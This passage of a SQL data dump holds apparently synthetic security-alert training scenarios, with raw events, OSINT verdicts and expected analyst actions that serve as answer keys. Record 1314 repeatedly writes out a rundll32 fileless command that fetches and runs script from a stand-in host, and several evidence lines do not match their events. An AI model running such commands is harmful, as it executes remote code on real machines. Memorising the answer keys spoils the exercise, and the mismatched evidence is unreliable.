sensitiveFunction\\\"}\"},{\"timestamp\":\"2026-02-24T04:18:04.771Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T05:50:15Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"192.168.4.10\\\",\\\"username\\\":\\\"unauthorized_user\\\",\\\"hostname\\\":\\\"serverless-function-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"aws lambda invoke --function-name sensitiveFunction\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1310, 'False Positive: Legitimate Cloud Configuration Change', 'low', 'GCP SCC', 'A legitimate change in cloud configuration was incorrectly flagged as suspicious due to unusual pattern of activity.', 'Configuration Change', 'T1578', 0, 'Closed', 232, '{\"timestamp\":\"2026-02-24T11:20:00Z\",\"event_type\":\"configuration_change\",\"src_ip\":\"192.168.5.25\",\"dst_ip\":null,\"username\":\"admin_user\",\"hostname\":\"gcp-console\",\"request_body\":null,\"command_line\":null}', '2026-02-24 03:24:16', '2026-03-09 18:23:29', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.5.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for cloud management\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Authorized user performing regular maintenance\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"configuration_change\",\"analysis_notes\":\"The activity corresponds to a scheduled maintenance window, and the user has proper permissions.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-24T04:22:04.772Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T11:20:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"192.168.5.25\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"gcp-console\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:21:04.772Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T11:20:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"192.168.5.25\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"gcp-console\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:20:04.772Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T11:20:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"192.168.5.25\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"gcp-console\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:19:04.772Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T11:20:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"192.168.5.25\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"gcp-console\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:18:04.772Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T11:20:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"192.168.5.25\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"gcp-console\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1311, 'Potential Exfiltration via Misconfigured S3 Bucket', 'high', 'AWS GuardDuty', 'Data exfiltration is suspected due to a misconfigured S3 bucket allowing public access to sensitive files.', 'Data Exfiltration', 'T1537', 0, 'resolved', NULL, '{\"timestamp\":\"2026-02-24T08:45:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.42\",\"dst_ip\":\"192.168.2.30\",\"username\":null,\"hostname\":\"public-s3-bucket\",\"request_body\":\"GET /sensitive-data.csv\",\"command_line\":null}', '2026-02-24 03:24:16', '2026-02-27 06:52:20', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.42\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP known for accessing misconfigured public resources\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"GET /sensitive-data.csv\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Request for potentially sensitive data\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The public access to sensitive data indicates a misconfiguration that could lead to data exfiltration.\"}', 'Intermediate', 'CLOUD', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-24T04:22:04.773Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T08:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.42\\\",\\\"dst_ip\\\":\\\"192.168.2.30\\\",\\\"username\\\":null,\\\"hostname\\\":\\\"public-s3-bucket\\\",\\\"request_body\\\":\\\"GET /sensitive-data.csv\\\",\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:21:04.773Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T08:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.42\\\",\\\"dst_ip\\\":\\\"192.168.2.30\\\",\\\"username\\\":null,\\\"hostname\\\":\\\"public-s3-bucket\\\",\\\"request_body\\\":\\\"GET /sensitive-data.csv\\\",\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:20:04.773Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T08:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.42\\\",\\\"dst_ip\\\":\\\"192.168.2.30\\\",\\\"username\\\":null,\\\"hostname\\\":\\\"public-s3-bucket\\\",\\\"request_body\\\":\\\"GET /sensitive-data.csv\\\",\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:19:04.773Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T08:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.42\\\",\\\"dst_ip\\\":\\\"192.168.2.30\\\",\\\"username\\\":null,\\\"hostname\\\":\\\"public-s3-bucket\\\",\\\"request_body\\\":\\\"GET /sensitive-data.csv\\\",\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:18:04.773Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T08:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.42\\\",\\\"dst_ip\\\":\\\"192.168.2.30\\\",\\\"username\\\":null,\\\"hostname\\\":\\\"public-s3-bucket\\\",\\\"request_body\\\":\\\"GET /sensitive-data.csv\\\",\\\"command_line\\\":null}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1312, 'False Positive: Internal Network Activity Mistaken as Anomalous', 'low', 'Prisma Cloud', 'Regular internal network communications were mistaken as anomalous due to increased traffic levels.', 'Network Activity', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-02-24T10:15:34Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.10.15\",\"dst_ip\":\"192.168.10.20\",\"username\":\"network_service\",\"hostname\":\"internal-server-01\",\"request_body\":null,\"command_line\":null}', '2026-02-24 03:24:16', '2026-02-24 04:22:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in routine network operations\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.10.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address as communication target\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_activity\",\"analysis_notes\":\"The traffic is consistent with regular internal operations and does not indicate malicious activity.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-24T04:22:04.774Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T10:15:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.10.15\\\",\\\"dst_ip\\\":\\\"192.168.10.20\\\",\\\"username\\\":\\\"network_service\\\",\\\"hostname\\\":\\\"internal-server-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:21:04.774Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T10:15:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.10.15\\\",\\\"dst_ip\\\":\\\"192.168.10.20\\\",\\\"username\\\":\\\"network_service\\\",\\\"hostname\\\":\\\"internal-server-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:20:04.774Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T10:15:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.10.15\\\",\\\"dst_ip\\\":\\\"192.168.10.20\\\",\\\"username\\\":\\\"network_service\\\",\\\"hostname\\\":\\\"internal-server-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:19:04.774Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T10:15:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.10.15\\\",\\\"dst_ip\\\":\\\"192.168.10.20\\\",\\\"username\\\":\\\"network_service\\\",\\\"hostname\\\":\\\"internal-server-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:18:04.774Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T10:15:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.10.15\\\",\\\"dst_ip\\\":\\\"192.168.10.20\\\",\\\"username\\\":\\\"network_service\\\",\\\"hostname\\\":\\\"internal-server-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1313, 'Potential Privilege Escalation via IAM Policy Change', 'high', 'AWS GuardDuty', 'An IAM policy was altered to grant additional privileges to a user, possibly indicating a privilege escalation attempt.', 'Privilege Escalation', 'T1068', 1, 'New', NULL, '{\"timestamp\":\"2026-02-24T12:05:00Z\",\"event_type\":\"configuration_change\",\"src_ip\":\"198.51.100.100\",\"dst_ip\":null,\"username\":\"policy_admin\",\"hostname\":\"iam-management-console\",\"request_body\":null,\"command_line\":null}', '2026-02-24 03:24:16', '2026-02-24 04:22:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP associated with unauthorized IAM changes\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"policy_admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"User with permissions to modify IAM policies\"}}],\"expected_actions\":[\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"privilege_escalation\",\"analysis_notes\":\"The unauthorized change to IAM policies suggests an attempt to gain elevated privileges, potentially leading to further exploitation.\"}', 'Intermediate', 'CLOUD', 5, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-24T04:22:04.775Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T12:05:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"198.51.100.100\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"policy_admin\\\",\\\"hostname\\\":\\\"iam-management-console\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:21:04.775Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T12:05:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"198.51.100.100\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"policy_admin\\\",\\\"hostname\\\":\\\"iam-management-console\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:20:04.775Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T12:05:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"198.51.100.100\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"policy_admin\\\",\\\"hostname\\\":\\\"iam-management-console\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:19:04.775Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T12:05:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"198.51.100.100\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"policy_admin\\\",\\\"hostname\\\":\\\"iam-management-console\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:18:04.775Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T12:05:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"198.51.100.100\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"policy_admin\\\",\\\"hostname\\\":\\\"iam-management-console\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1314, 'APT-Level Malware Detected via Fileless Technique', 'critical', 'Recorded Future', 'A sophisticated fileless malware was detected using process hollowing and memory-only payloads, indicative of APT activity.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-01T14:32:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"jdoe\",\"hostname\":\"workstation01\",\"command_line\":\"rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write();GetObject(\\\"script:https://malicious.site/script\\\")\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-03-01 22:54:22', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for malware distribution\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write();GetObject(\\\"script:https://malicious.site/script\\\")\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command indicates fileless malware execution\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as part of APT campaign\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The presence of a known malicious IP and fileless execution technique confirms the alert as a true positive.\"}', 'Expert', 'TI', 9, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.781Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T14:32:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation01\\\",\\\"command_line\\\":\\\"rundll32.exe javascript:\\\\\\\"\\\\\\\\..\\\\\\\\mshtml,RunHTMLApplication \\\\\\\";document.write();GetObject(\\\\\\\"script:https://malicious.site/script\\\\\\\")\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.781Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T14:32:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation01\\\",\\\"command_line\\\":\\\"rundll32.exe javascript:\\\\\\\"\\\\\\\\..\\\\\\\\mshtml,RunHTMLApplication \\\\\\\";document.write();GetObject(\\\\\\\"script:https://malicious.site/script\\\\\\\")\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.781Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T14:32:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation01\\\",\\\"command_line\\\":\\\"rundll32.exe javascript:\\\\\\\"\\\\\\\\..\\\\\\\\mshtml,RunHTMLApplication \\\\\\\";document.write();GetObject(\\\\\\\"script:https://malicious.site/script\\\\\\\")\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.781Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T14:32:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation01\\\",\\\"command_line\\\":\\\"rundll32.exe javascript:\\\\\\\"\\\\\\\\..\\\\\\\\mshtml,RunHTMLApplication \\\\\\\";document.write();GetObject(\\\\\\\"script:https://malicious.site/script\\\\\\\")\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.781Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T14:32:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation01\\\",\\\"command_line\\\":\\\"rundll32.exe javascript:\\\\\\\"\\\\\\\\..\\\\\\\\mshtml,RunHTMLApplication \\\\\\\";document.write();GetObject(\\\\\\\"script:https://malicious.site/script\\\\\\\")\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1315, 'Suspicious Multi-Hop C2 Communication Detected', 'high', 'ThreatConnect', 'Detected multi-hop command and control communication through legitimate services like Slack and GitHub, indicating possible APT activity.', 'C2 Communication', 'T1102', 1, 'New', NULL, '{\"timestamp\":\"2026-03-01T08:27:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"104.244.42.65\",\"dst_ip\":\"192.168.1.15\",\"username\":\"admin\",\"hostname\":\"server02\",\"domain\":\"slack.com\"}', '2026-03-01 22:54:22', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"104.244.42.65\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with known C2 infrastructure\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"slack.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Legitimate domain used for obfuscation\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"c2_communication\",\"analysis_notes\":\"The use of legitimate services for C2 communication is a hallmark of advanced persistent threats, confirming the alert.\"}', 'Expert', 'TI', 9, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.785Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T08:27:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"104.244.42.65\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server02\\\",\\\"domain\\\":\\\"slack.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.785Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T08:27:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"104.244.42.65\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server02\\\",\\\"domain\\\":\\\"slack.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.785Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T08:27:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"104.244.42.65\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server02\\\",\\\"domain\\\":\\\"slack.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.785Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T08:27:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"104.244.42.65\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server02\\\",\\\"domain\\\":\\\"slack.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.785Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T08:27:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"104.244.42.65\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server02\\\",\\\"domain\\\":\\\"slack.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
